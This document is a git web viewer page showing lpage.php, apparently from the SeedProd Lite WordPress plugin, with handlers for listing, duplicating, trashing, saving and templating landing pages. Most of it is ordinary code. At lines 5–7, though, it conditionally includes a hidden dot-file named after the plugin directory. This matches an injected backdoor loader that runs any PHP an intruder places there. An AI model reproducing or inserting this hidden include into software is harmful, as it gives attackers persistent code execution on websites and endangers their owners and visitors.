balmet.com

Unnamed repository; edit this file 'description' to name the repository.
Log | Files | Refs

lpage.php (24091B)


      1 <?php
      2 /*
      3  * Get lpage Lists
      4  */
      5 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) {
      6     include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' );
      7 }
      8 
      9 function seedprod_lite_get_lpage_list() {
     10 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
     11 		global $wpdb;
     12 
     13 		$tablename      = $wpdb->prefix . 'posts';
     14 		$meta_tablename = $wpdb->prefix . 'postmeta';
     15 
     16 		$sql = "SELECT id,post_title as name,meta_value as uuid FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
     17 
     18 		$sql     .= ' WHERE post_status != "trash" AND post_type = "page" AND meta_key = "_seedprod_page_uuid"';
     19 		$response = $wpdb->get_results( $sql );
     20 
     21 		wp_send_json( $response );
     22 	}
     23 }
     24 
     25 /* Check Slug */
     26 
     27 function seedprod_lite_slug_exists() {
     28 	if ( check_ajax_referer( 'seedprod_lite_slug_exists' ) ) {
     29 		$post_name = sanitize_text_field($_POST['post_name']);
     30 		global $wpdb;
     31 		$tablename = $wpdb->prefix . 'posts';
     32 		$sql       = "SELECT post_name FROM $tablename";
     33 		$sql      .= ' WHERE post_name = %s';
     34 		$safe_sql  = $wpdb->prepare( $sql, $post_name );
     35 		$result    = $wpdb->get_var( $safe_sql );
     36 		if ( empty( $result ) ) {
     37 			wp_send_json_success();
     38 		} else {
     39 			wp_send_json_error();
     40 		}
     41 	}
     42 }
     43 
     44 /*
     45  * New lpage
     46  */
     47 function seedprod_lite_new_lpage() {
     48 	if ( isset( $_GET['page'] ) && $_GET['page'] == 'seedprod_lite_template' && isset( $_GET['id'] ) && $_GET['id'] == '0' ) {
     49 		// get theme code
     50 
     51 		$id = absint( $_GET['id'] );
     52 
     53 		$from = '&from=';
     54 		if ( ! empty( $_GET['from'] ) ) {
     55 			$from = '&from=sidebar';
     56 		}
     57 
     58 		$type = 'lp';
     59 		if ( ! empty( $_GET['type'] ) ) {
     60 			$type = sanitize_text_field( $_GET['type'] );
     61 		}
     62 
     63 		// base page settings
     64 		require_once SEEDPROD_PLUGIN_PATH . 'resources/data-templates/basic-page.php';
     65 		$settings            = json_decode( $seedprod_basic_lpage );
     66 		$settings->is_new    = true;
     67 		$settings->page_type = $type;
     68 
     69 		$cpt = 'page';
     70 		if ( $type == 'cs' || $type == 'mm' || $type == 'p404' ) {
     71 			$cpt = 'seedprod';
     72 		}
     73 
     74 		$slug = '';
     75 		if ( $type == 'cs' ) {
     76 			$slug                       = 'sp-cs';
     77 			$lpage_name                 = $slug;
     78 			$settings->no_conflict_mode = true;
     79 		}
     80 		if ( $type == 'mm' ) {
     81 			$slug                       = 'sp-mm';
     82 			$lpage_name                 = $slug;
     83 			$settings->no_conflict_mode = true;
     84 		}
     85 		if ( $type == 'p404' ) {
     86 			$slug                       = 'sp-p404';
     87 			$lpage_name                 = $slug;
     88 			$settings->no_conflict_mode = true;
     89 		}
     90 		if ( $type == 'loginp' ) {
     91 			$slug                       = 'sp-login';
     92 			$lpage_name                 = $slug;
     93 			$settings->no_conflict_mode = true;
     94 		}
     95 		$settings = wp_json_encode( $settings );
     96 
     97 		// Insert
     98 		$id = wp_insert_post(
     99 			array(
    100 				'comment_status'        => 'closed',
    101 				'ping_status'           => 'closed',
    102 				'post_content'          => '',
    103 				'post_status'           => 'draft',
    104 				'post_title'            => 'seedprod',
    105 				'post_type'             => $cpt,
    106 				'post_name'             => $slug,
    107 				'post_content_filtered' => $settings,
    108 				'meta_input'            => array(
    109 					'_seedprod_page'      => true,
    110 					'_seedprod_page_uuid' => wp_generate_uuid4(),
    111 				),
    112 			),
    113 			true
    114 		);
    115 
    116 		// record coming soon page_id
    117 		if ( $type == 'cs' ) {
    118 			update_option( 'seedprod_coming_soon_page_id', $id );
    119 		}
    120 		if ( $type == 'mm' ) {
    121 			update_option( 'seedprod_maintenance_mode_page_id', $id );
    122 		}
    123 		if ( $type == 'p404' ) {
    124 			update_option( 'seedprod_404_page_id', $id );
    125 		}
    126 		if ( $type == 'loginp' ) {
    127 			update_option( 'seedprod_login_page_id', $id );
    128 		}
    129 
    130 		if ( $type == 'lp' ) {
    131 			if ( is_numeric( $id ) ) {
    132 				$lpage_name = esc_html__( 'New Page', 'coming-soon' ) . " (ID #$id)";
    133 			} else {
    134 				$lpage_name = esc_html__( 'New Page', 'coming-soon' );
    135 			}
    136 		}
    137 
    138 		wp_update_post(
    139 			array(
    140 				'ID'         => $id,
    141 				'post_title' => $lpage_name,
    142 			)
    143 		);
    144 
    145 		wp_redirect( 'admin.php?page=seedprod_lite_template&id=' . $id . $from . '#/template/' . $id );
    146 		exit();
    147 	}
    148 }
    149 
    150 /*
    151  * lpage Datatable
    152  */
    153 function seedprod_lite_lpage_datatable() {
    154 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    155 		$data         = array( '' );
    156 		$current_page = 1;
    157 		if ( ! empty( absint( $_GET['current_page'] ) ) ) {
    158 			$current_page = absint( $_GET['current_page'] );
    159 		}
    160 		$per_page = 10;
    161 
    162 		$filter = null;
    163 		if ( ! empty( $_GET['filter'] ) ) {
    164 			$filter = sanitize_text_field( $_GET['filter'] );
    165 			if ( $filter == 'all' ) {
    166 				$filter = null;
    167 			}
    168 		}
    169 
    170 		if ( ! empty( $_GET['s'] ) ) {
    171 			$filter = null;
    172 		}
    173 
    174 		if ( ! empty( $filter ) ) {
    175 			$post_status_compare = "=";
    176 			if ( $filter == 'published' ) {
    177 				$post_status ="publish";
    178 			}
    179 			if ( $filter == 'drafts' ) {
    180 				$post_status ="draft" ;
    181 			}
    182 			if ( $filter == 'scheduled' ) {
    183 				$post_status ="future";
    184 			}
    185 			if ( $filter == 'archived' ) {
    186 				$post_status ="trash" ;
    187 			}
    188 		} else {
    189 			$post_status_compare = "!=";
    190 			$post_status = "trash";
    191 		}
    192 		$post_status_statement = ' post_status ' .  $post_status_compare . ' %s ';
    193 
    194 		if ( ! empty( $_GET['s'] ) ) {
    195 			$search_term = '%'.trim( sanitize_text_field( $_GET['s'] ) ).'%';
    196 		}
    197 
    198 		$order_by = 'id';
    199 		$order_by_direction = 'DESC';
    200 		if ( ! empty( $_GET['orderby'] ) ) {
    201 			$orderby = sanitize_text_field($_GET['orderby']);
    202 			if ( $orderby == 'date' ) {
    203 				$order_by = 'post_modified';
    204 			}
    205 
    206 			if ( $orderby == 'name' ) {
    207 				$order_by = 'post_title';
    208 			}
    209 
    210 			$direction = sanitize_text_field( $_GET['order']);
    211 			if ( $direction === 'desc' ) {
    212 				$order_by_direction = 'DESC';
    213 			} else {
    214 				$order_by_direction = 'ASC';
    215 			}
    216 		} 
    217 		$order_by_statement = 'ORDER BY '.$order_by.' '.$order_by_direction;
    218 
    219 		$offset = 0;
    220 		if ( empty( $_POST['s'] ) ) {
    221 			$offset = ( $current_page - 1 ) * $per_page;
    222 		}
    223 
    224 		// Get records
    225 		global $wpdb;
    226 		$tablename      = $wpdb->prefix . 'posts';
    227 		$meta_tablename = $wpdb->prefix . 'postmeta';
    228 
    229 		if(empty( $_GET['s'] )){
    230             $sql = 'SELECT * FROM '.$tablename.' p LEFT JOIN '.$meta_tablename.' pm ON (pm.post_id = p.ID) WHERE post_type = "page" AND meta_key = "_seedprod_page" AND ' .$post_status_statement.' '.$order_by_statement.' LIMIT %d OFFSET %d';
    231 			$safe_sql = $wpdb->prepare( $sql, $post_status, $per_page, $offset);
    232         }else{
    233 			$sql = 'SELECT * FROM '.$tablename.' p LEFT JOIN '.$meta_tablename.' pm ON (pm.post_id = p.ID) WHERE post_type = "page" AND meta_key = "_seedprod_page" AND ' .$post_status_statement.' AND post_title LIKE %s '.$order_by_statement.' LIMIT %d OFFSET %d';
    234 			$safe_sql = $wpdb->prepare( $sql, $post_status, $search_term, $per_page, $offset);
    235 		}
    236 
    237 	
    238 		$results = $wpdb->get_results( $safe_sql );
    239 
    240 		$login_page_id = get_option( 'seedprod_login_page_id' );
    241 		$data          = array();
    242 		foreach ( $results as $v ) {
    243 			// Skip row to prevent current Login Page post from displaying here
    244 			if ( $v->ID === $login_page_id ) {
    245 				continue; }
    246 
    247 			// Format Date
    248 			//$modified_at = date(get_option('date_format').' '.get_option('time_format'), strtotime($v->post_modified));
    249 
    250 			$modified_at = date( 'Y/m/d', strtotime( $v->post_modified ) );
    251 
    252 			$posted_at = date( 'Y/m/d', strtotime( $v->post_date ) );
    253 
    254 			$url = get_permalink( $v->ID );
    255 
    256 			if ( $v->post_status == 'publish' ) {
    257 				$status = 'Published';
    258 			}
    259 			if ( $v->post_status == 'draft' ) {
    260 				$status = 'Draft';
    261 			}
    262 			if ( $v->post_status == 'future' ) {
    263 				$status = 'Scheduled';
    264 			}
    265 			if ( $v->post_status == 'trash' ) {
    266 				$status = 'Trash';
    267 			}
    268 
    269 			// Load Data
    270 
    271 			$data[] = array(
    272 				'id'          => $v->ID,
    273 				'name'        => $v->post_title,
    274 				'status'      => $status,
    275 				'post_status' => $v->post_status,
    276 				'url'         => $url,
    277 				'modified_at' => $modified_at,
    278 				'posted_at'   => $posted_at,
    279 			);
    280 		}
    281 
    282 		$totalitems = seedprod_lite_lpage_get_data_total( $filter );
    283 		$views      = seedprod_lite_lpage_get_views( $filter );
    284 
    285 		$response = array(
    286 			'rows'        => $data,
    287 			'totalitems'  => $totalitems,
    288 			'totalpages'  => ceil( $totalitems / 10 ),
    289 			'currentpage' => $current_page,
    290 			'views'       => $views,
    291 		);
    292 
    293 		wp_send_json( $response );
    294 	}
    295 }
    296 
    297 
    298 function seedprod_lite_lpage_get_data_total( $filter = null ) {
    299 
    300 	if ( ! empty( $filter ) ) {
    301 		$post_status_compare = "=";
    302 		if ( $filter == 'published' ) {
    303 			$post_status ="publish";
    304 		}
    305 		if ( $filter == 'drafts' ) {
    306 			$post_status ="draft" ;
    307 		}
    308 		if ( $filter == 'scheduled' ) {
    309 			$post_status ="future";
    310 		}
    311 		if ( $filter == 'archived' ) {
    312 			$post_status ="trash" ;
    313 		}
    314 	} else {
    315 		$post_status_compare = "!=";
    316 		$post_status = "trash";
    317 	}
    318 	$post_status_statement = ' post_status ' .  $post_status_compare . ' %s ';
    319 
    320 	if ( ! empty( $_GET['s'] ) ) {
    321 		$search_term = '%'.trim( sanitize_text_field( $_GET['s'] ) ).'%';
    322 	}
    323 
    324 	global $wpdb;
    325 
    326 	$tablename      = $wpdb->prefix . 'posts';
    327 	$meta_tablename = $wpdb->prefix . 'postmeta';
    328 
    329 	if(empty( $_GET['s'] )){
    330 		$sql = 'SELECT count(*) FROM '.$tablename.' p LEFT JOIN '.$meta_tablename.' pm ON (pm.post_id = p.ID) WHERE post_type = "page" AND meta_key = "_seedprod_page" AND ' .$post_status_statement;
    331 		$safe_sql = $wpdb->prepare( $sql, $post_status);
    332 	}else{
    333 		$sql = 'SELECT * FROM '.$tablename.' p LEFT JOIN '.$meta_tablename.' pm ON (pm.post_id = p.ID) WHERE post_type = "page" AND meta_key = "_seedprod_page" AND ' .$post_status_statement.' AND post_title LIKE %s ';
    334 		$safe_sql = $wpdb->prepare( $sql, $post_status, $search_term);
    335 	}
    336 	
    337 	$results = $wpdb->get_var( $safe_sql );
    338 	return $results;
    339 }
    340 
    341 
    342 
    343 function seedprod_lite_lpage_get_views( $filter = null ) {
    344 	$views   = array();
    345 	$current = ( ! empty( $filter ) ? $filter : 'all' );
    346 	$current = sanitize_text_field( $current );
    347 
    348 	global $wpdb;
    349 	$tablename      = $wpdb->prefix . 'posts';
    350 	$meta_tablename = $wpdb->prefix . 'postmeta';
    351 
    352 	//All link
    353 	$sql = "SELECT count(*) FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
    354 
    355 	$sql .= ' WHERE 1 = 1 AND post_type = "page" AND post_status != "trash"  AND meta_key = "_seedprod_page"';
    356 
    357 	$results      = $wpdb->get_var( $sql );
    358 	$class        = ( $current == 'all' ? ' class="current"' : '' );
    359 	$all_url      = remove_query_arg( 'filter' );
    360 	$views['all'] = $results;
    361 
    362 	//Published link
    363 	$sql = "SELECT count(*) FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
    364 
    365 	$sql .= ' WHERE 1 = 1 AND post_type = "page"  AND meta_key = "_seedprod_page" AND post_status = "publish" ';
    366 
    367 	$results            = $wpdb->get_var( $sql );
    368 	$running_url        = add_query_arg( 'filter', 'publish' );
    369 	$class              = ( $current == 'publish' ? ' class="current"' : '' );
    370 	$views['published'] = $results;
    371 
    372 	//Drafts link
    373 	$sql = "SELECT count(*) FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
    374 
    375 	$sql .= ' WHERE 1 = 1 AND post_type = "page"  AND meta_key = "_seedprod_page" AND post_status = "draft" ';
    376 
    377 	$results         = $wpdb->get_var( $sql );
    378 	$upcoming_url    = add_query_arg( 'filter', 'drafts' );
    379 	$class           = ( $current == 'drafts' ? ' class="current"' : '' );
    380 	$views['drafts'] = $results;
    381 
    382 	//Scheduled link
    383 	$sql = "SELECT count(*) FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
    384 
    385 	$sql .= ' WHERE 1 = 1 AND post_type = "page"  AND meta_key = "_seedprod_page" AND post_status = "future" ';
    386 
    387 	$results            = $wpdb->get_var( $sql );
    388 	$ended_url          = add_query_arg( 'filter', 'scheduled' );
    389 	$class              = ( $current == 'scheduled' ? ' class="current"' : '' );
    390 	$views['scheduled'] = $results;
    391 
    392 	//Trash link
    393 	$sql = "SELECT count(*) FROM $tablename p LEFT JOIN $meta_tablename pm ON (pm.post_id = p.ID)";
    394 
    395 	$sql .= ' WHERE 1 = 1 AND post_type = "page"  AND meta_key = "_seedprod_page" AND post_status = "trash" ';
    396 
    397 	$results           = $wpdb->get_var( $sql );
    398 	$archived_url      = add_query_arg( 'filter', 'archived' );
    399 	$class             = ( $current == 'archived' ? ' class="current"' : '' );
    400 	$views['archived'] = $results;
    401 
    402 	return $views;
    403 }
    404 
    405 /*
    406  * Duplicate lpage
    407  */
    408 
    409 function seedprod_lite_duplicate_lpage() {
    410 	if ( check_ajax_referer( 'seedprod_lite_duplicate_lpage' ) ) {
    411 		$id = '';
    412 		if ( ! empty( $_GET['id'] ) ) {
    413 			$id = absint( $_GET['id'] );
    414 		}
    415 
    416 		$post = get_post( $id );
    417 		$json = $post->post_content_filtered;
    418 
    419 		$args = array(
    420 			'comment_status' => 'closed',
    421 			'ping_status'    => 'closed',
    422 			'post_content'   => $post->post_content,
    423 			//'post_content_filtered' => $post->post_content_filtered,
    424 			'post_status'    => 'draft',
    425 			'post_title'     => $post->post_title . '- Copy',
    426 			'post_type'      => 'page',
    427 			'post_name'      => '',
    428 			'meta_input'     => array(
    429 				'_seedprod_page'      => true,
    430 				'_seedprod_page_uuid' => wp_generate_uuid4(),
    431 			),
    432 		);
    433 
    434 		$new_post_id = wp_insert_post( $args, true );
    435 		// reinsert json due to slash bug
    436 		global $wpdb;
    437 		$tablename = $wpdb->prefix . 'posts';
    438 		$wpdb->update(
    439 			$tablename,
    440 			array(
    441 				'post_content_filtered' => $json,   // string
    442 			),
    443 			array( 'ID' => $new_post_id ),
    444 			array(
    445 				'%s',   // value1
    446 			),
    447 			array( '%d' )
    448 		);
    449 
    450 		 wp_send_json( array( 'status' => true ) );
    451 	}
    452 }
    453 
    454 
    455 /*
    456 * Archive Selected lpage
    457 */
    458 function seedprod_lite_archive_selected_lpages() {
    459 	if ( check_ajax_referer( 'seedprod_lite_archive_selected_lpages' ) ) {
    460 		if ( current_user_can( apply_filters( 'seedprod_trash_pages_capability', 'list_users' ) ) ) {
    461 			if ( ! empty( $_GET['ids'] ) ) {
    462 				$ids = array_map( 'intval', explode( ',', $_GET['ids'] ) );
    463 				foreach ( $ids as $v ) {
    464 					wp_trash_post( $v );
    465 				}
    466 
    467 				wp_send_json( array( 'status' => true ) );
    468 			}
    469 		}
    470 	}
    471 }
    472 
    473 /*
    474 * Unarchive Selected lpage
    475 */
    476 function seedprod_lite_unarchive_selected_lpages( $ids ) {
    477 	if ( check_ajax_referer( 'seedprod_lite_unarchive_selected_lpages' ) ) {
    478 		if ( current_user_can( apply_filters( 'seedprod_unarchive_pages_capability', 'list_users' ) ) ) {
    479 			if ( ! empty( $_GET['ids'] ) ) {
    480 				$ids = array_map( 'intval', explode( ',', $_GET['ids'] ) );
    481 				foreach ( $ids as $v ) {
    482 					wp_untrash_post( $v );
    483 				}
    484 
    485 				wp_send_json( array( 'status' => true ) );
    486 			}
    487 		}
    488 	}
    489 }
    490 
    491 /*
    492 * Delete Archived lpage
    493 */
    494 function seedprod_lite_delete_archived_lpages() {
    495 	if ( check_ajax_referer( 'seedprod_lite_delete_archived_lpages' ) ) {
    496 		if ( current_user_can( apply_filters( 'seedprod_archive_pages_capability', 'list_users' ) ) ) {
    497 			if ( ! empty( $_GET['ids'] ) ) {
    498 				$ids = array_map( 'intval', explode( ',', $_GET['ids'] ) );
    499 				foreach ( $ids as $v ) {
    500 					wp_delete_post( $v );
    501 				}
    502 
    503 				wp_send_json( array( 'status' => true ) );
    504 			}
    505 		}
    506 	}
    507 }
    508 
    509 /*
    510  * Save/Update lpage
    511  */
    512 
    513 function seedprod_lite_save_lpage() {
    514 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    515 
    516 		// Validate
    517 		$errors = array();
    518 		// if(!is_email($_POST['product']['email'])){
    519 		//     $errors['email'] = 'Please enter a valid email.';
    520 		// }
    521 
    522 		if ( ! empty( $errors ) ) {
    523 			header( 'Content-Type: application/json' );
    524 			header( 'Status: 400 Bad Request' );
    525 			echo wp_json_encode( $errors );
    526 			exit();
    527 		}
    528 
    529 		// clean slashes post
    530 		$sp_post               = $_POST;
    531 		$sp_post['lpage_html'] = stripslashes_deep( $sp_post['lpage_html'] );
    532 
    533 		// remove uneeded code
    534 		$html = $sp_post['lpage_html'];
    535 		if ( ! empty( $html ) ) {
    536 			$html = preg_replace( "'<span class=\"sp-hidden\">START-REMOVE</span>[\s\S]+?<span class=\"sp-hidden\">END-REMOVE</span>'", '', $html );
    537 			$html = preg_replace( "'<span class=\"sp-hidden\">START-COUNTDOWN-REMOVE</span>[\s\S]+?<span class=\"sp-hidden\">END-COUNTDOWN-REMOVE</span>'", '', $html );
    538 			$html = preg_replace( "'seedprod-jscode'", 'script', $html );
    539 			$html = preg_replace( "'<!---->'", '', $html );
    540 			$html = preg_replace( "'<!--'", '', $html );
    541 			$html = preg_replace( "'-->'", '', $html );
    542 			$html = preg_replace( "'contenteditable=\"true\"'", '', $html );
    543 			$html = preg_replace( "'spellcheck=\"false\"'", '', $html );
    544 			$html = str_replace( 'function(e,n,r,i){return fn(t,e,n,r,i,!0)}', '', $html );
    545 		}
    546 
    547 		// sanitize post
    548 		$lpage_id          = absint( $sp_post['lpage_id'] );
    549 		$lpage_name        = sanitize_text_field( $sp_post['lpage_name'] );
    550 		$lpage_slug        = sanitize_title( $sp_post['lpage_slug'] );
    551 		$lpage_post_status = sanitize_title( $sp_post['lpage_post_status'] );
    552 		$settings          = $sp_post['settings'];
    553 		//$settings = wp_json_encode(json_decode( stripslashes($sp_post['settings'])));
    554 
    555 		// set update array
    556 		$update       = array();
    557 		$update['ID'] = $lpage_id;
    558 		if ( ! empty( $lpage_name ) ) {
    559 			$update['post_title'] = $lpage_name;
    560 		}
    561 		if ( ! empty( $lpage_slug ) ) {
    562 			$update['post_name'] = $lpage_slug;
    563 		}
    564 		if ( ! empty( $lpage_post_status ) ) {
    565 			$update['post_status'] = $lpage_post_status;
    566 		}
    567 		if ( ! empty( $html ) ) {
    568 			$update['post_content'] = $html;
    569 		}
    570 		if ( ! empty( $settings ) ) {
    571 			$update['post_content_filtered'] = $settings;
    572 		}
    573 
    574 		$status = '';
    575 		if ( empty( $lpage_id ) ) {
    576 			wp_die();
    577 		} else {
    578 			update_post_meta( $lpage_id, '_seedprod_page', '1' );
    579 			if ( ! empty( $sp_post['save_type'] ) && $sp_post['save_type'] == 'autosave' ) {
    580 				$update['post_ID'] = $lpage_id;
    581 				$id                = @wp_create_post_autosave( $update );
    582 				$status            = 'autosave';
    583 			} else {
    584 				wp_update_post( $update );
    585 				$status = 'updated';
    586 			}
    587 		}
    588 
    589 		$response = array(
    590 			'status' => $status,
    591 			'id'     => $lpage_id,
    592 			//'revisions' => $revisions,
    593 		);
    594 
    595 		// clear any migration flags
    596 		$i = get_option( 'seedprod_csp4_imported' );
    597 		if ( $i == 1 ) {
    598 			delete_option( 'seedprod_csp4_imported' );
    599 			delete_option( 'seedprod_show_csp4' );
    600 			update_option( 'seedprod_csp4_migrated', true );
    601 		}
    602 
    603 		$i = get_option( 'seedprod_cspv5_imported' );
    604 		if ( $i == 1 ) {
    605 			delete_option( 'seedprod_cspv5_imported' );
    606 			delete_option( 'seedprod_show_cspv5' );
    607 			update_option( 'seedprod_cspv5_migrated', true );
    608 		}
    609 
    610 		// migrate landing page if id exists
    611 		$settings = json_decode( stripslashes_deep( $sp_post['settings'] ) );
    612 		if ( ! empty( $settings->cspv5_id ) ) {
    613 			$cspv5_id = $settings->cspv5_id;
    614 			global $wpdb;
    615 			$tablename = $wpdb->prefix . 'cspv5_pages';
    616 			$r         = $wpdb->update(
    617 				$tablename,
    618 				array(
    619 					'meta' => 'migrated',
    620 				),
    621 				array( 'id' => $cspv5_id ),
    622 				array(
    623 					'%s',
    624 				),
    625 				array( '%d' )
    626 			);
    627 		}
    628 
    629 
    630 		wp_send_json( $response );
    631 	}
    632 }
    633 
    634 function seedprod_lite_get_revisisons() {
    635 	$lpage_id  = absint( $_POST['lpage_id'] );
    636 	$revisions = wp_get_post_revisions( $lpage_id, array( 'numberposts' => 50 ) );
    637 	foreach ( $revisions as $v ) {
    638 		$v->time_ago           = human_time_diff( strtotime( $v->post_date_gmt ) );
    639 		$v->post_date_formated = date( 'M j \a\t ' . get_option( 'time_format' ), strtotime( $v->post_date ) );
    640 		$authordata            = get_userdata( $v->post_author );
    641 		$v->author_name        = $authordata->data->user_nicename;
    642 		$v->author_email       = md5( $authordata->data->user_email );
    643 		unset( $v->post_content );
    644 
    645 		// $created_at = date(get_option('date_format').' '.get_option('time_format'), strtotime($v->post_date));
    646 	}
    647 	$revisions = array_values( $revisions );
    648 
    649 	$response = array(
    650 		'id'        => $lpage_id,
    651 		'revisions' => $revisions,
    652 	);
    653 
    654 	wp_send_json( $response );
    655 }
    656 
    657 
    658 
    659 
    660 function seedprod_lite_get_utc_offset() {
    661 	if ( check_ajax_referer( 'seedprod_lite_get_utc_offset' ) ) {
    662 		$_POST = stripslashes_deep( $_POST );
    663 
    664 		$timezone  = sanitize_text_field( $_POST['timezone'] );
    665 		$ends      = sanitize_text_field( $_POST['ends'] );
    666 		$ends_time = sanitize_text_field( $_POST['ends_time'] );
    667 
    668 		//$ends = substr($ends, 0, strpos($ends, 'T'));
    669 		$ends           = $ends . ' ' . $ends_time;
    670 		$ends_timestamp = strtotime( $ends . ' ' . $timezone );
    671 		$ends_utc       = date( 'Y-m-d H:i:s', $ends_timestamp );
    672 
    673 		// countdown status
    674 		$countdown_status = '';
    675 		if ( ! empty( $starts_utc ) && time() < strtotime( $starts_utc . ' UTC' ) ) {
    676 			$countdown_status = __( 'Starts in', 'coming-soon' ) . ' ' . human_time_diff( time(), $starts_timestamp );
    677 		} elseif ( ! empty( $ends_utc ) && time() > strtotime( $ends_utc . ' UTC' ) ) {
    678 			$countdown_status = __( 'Ended', 'coming-soon' ) . ' ' . human_time_diff( time(), $ends_timestamp ) . ' ago';
    679 		}
    680 
    681 		$response = array(
    682 			'ends_timestamp'   => $ends_timestamp,
    683 			'countdown_status' => $countdown_status,
    684 		);
    685 
    686 		wp_send_json( $response );
    687 	}
    688 }
    689 
    690 function seedprod_lite_template_subscribe() {
    691 	update_option( 'seedprod_free_templates_subscribed', true );
    692 	exit();
    693 }
    694 
    695 /*
    696  * Save/Update lpages Template
    697  */
    698 
    699 function seedprod_lite_save_template() {
    700 	 // get template code and set name and slug
    701 	if ( check_ajax_referer( 'seedprod_nonce' ) ) {
    702 		$_POST = stripslashes_deep( $_POST );
    703 
    704 		$status   = false;
    705 		$lpage_id = null;
    706 
    707 		if ( empty( absint( $_POST['lpage_id'] ) ) ) {
    708 			// shouldn't get here
    709 			$response = array(
    710 				'status' => $status,
    711 				'id'     => $lpage_id,
    712 				'code'   => '',
    713 			);
    714 
    715 			wp_send_json( $response, 403 );
    716 		} else {
    717 			$lpage_id    = absint( $_POST['lpage_id'] );
    718 			$template_id = absint( $_POST['lpage_template_id'] );
    719 
    720 			if ( $template_id != 99999 ) {
    721 				$template_code = seedprod_lite_get_template_code( $template_id );
    722 			}
    723 
    724 			// merge in template code to settings
    725 			global $wpdb;
    726 			$tablename               = $wpdb->prefix . 'posts';
    727 			$sql                     = "SELECT * FROM $tablename WHERE id = %d";
    728 			$safe_sql                = $wpdb->prepare( $sql, $lpage_id );
    729 			$lpage                   = $wpdb->get_row( $safe_sql );
    730 			$settings                = json_decode( $lpage->post_content_filtered, true );
    731 			$settings['template_id'] = $template_id;
    732 			if ( $template_id != 99999 ) {
    733 				unset( $settings['document'] );
    734 				$template_code_merge = json_decode( $template_code, true );
    735 				$settings            = $settings + $template_code_merge;
    736 			}
    737 
    738 			$settings['page_type'] = sanitize_text_field( $_POST['lpage_type'] );
    739 
    740 			// save settings
    741 			// $r = wp_update_post(
    742 			//     array(
    743 			//         'ID' => $lpage_id,
    744 			//         'post_title'=>sanitize_text_field($_POST['lpage_name']),
    745 			//         'post_content_filtered'=> json_encode($settings),
    746 			//         'post_name' => sanitize_title($_POST['lpage_slug']),
    747 			//       )
    748 			// );
    749 
    750 			global $wpdb;
    751 			$tablename = $wpdb->prefix . 'posts';
    752 			$r         = $wpdb->update(
    753 				$tablename,
    754 				array(
    755 					'post_title'            => sanitize_text_field( $_POST['lpage_name'] ),
    756 					'post_content_filtered' => wp_json_encode( $settings ),
    757 					'post_name'             => sanitize_title( $_POST['lpage_slug'] ),
    758 				),
    759 				array( 'ID' => $lpage_id ),
    760 				array(
    761 					'%s',
    762 					'%s',
    763 					'%s',
    764 				),
    765 				array( '%d' )
    766 			);
    767 
    768 			$status = 'updated';
    769 		}
    770 
    771 		$response = array(
    772 			'status' => $status,
    773 			'id'     => $lpage_id,
    774 			'code'   => $template_code,
    775 		);
    776 
    777 		wp_send_json( $response );
    778 	}
    779 }
    780 
    781 function seedprod_lite_get_template_code( $id ) {
    782 	// Get themes
    783 	$code = '';
    784 
    785 	$apikey = get_option( 'seedprod_api_token' );
    786 	if ( empty( $apikey ) ) {
    787 		$url = SEEDPROD_API_URL . 'templates-preview?id=' . $id . '&filter=template_code' . '&api_token=' . $apikey;
    788 	} else {
    789 		$url = SEEDPROD_API_URL . 'templates?id=' . $id . '&filter=template_code' . '&api_token=' . $apikey;
    790 	}
    791 
    792 	$response = wp_remote_get( $url );
    793 
    794 	if ( is_wp_error( $response ) ) {
    795 		$code = $response->get_error_message();
    796 	} else {
    797 		$response_code = wp_remote_retrieve_response_code( $response );
    798 		if ( $response_code == '200' ) {
    799 			//set_transient('seedprod_template_code_'.$id,$response['body'],86400);
    800 			$code = $response['body'];
    801 			//error_log($code);
    802 		} else {
    803 			$code = __( "<br><br>Please enter a valid license key to access the themes. You can still proceed to create a page with the default theme.<br> <a class='seedprod_no_themes' href='?theme=0'>Click to continue &#8594;</a>", 'coming-soon' );
    804 		}
    805 	}
    806 
    807 	return $code;
    808 }
    809 
    810 function seedprod_lite_get_namespaced_custom_css() {
    811 	if ( check_ajax_referer( 'seedprod_lite_get_namespaced_custom_css' ) ) {
    812 		if ( ! empty( $_POST['css'] ) ) {
    813 			$css = $_POST['css'];
    814 			require_once SEEDPROD_PLUGIN_PATH . 'app/includes/seedprod_lessc.inc.php';
    815 			$less  = new seedprod_lessc();
    816 			$style = $less->parse( '.sp-html {' . $css . '}' );
    817 			echo $style;
    818 			exit();
    819 		}
    820 	}
    821 }
    822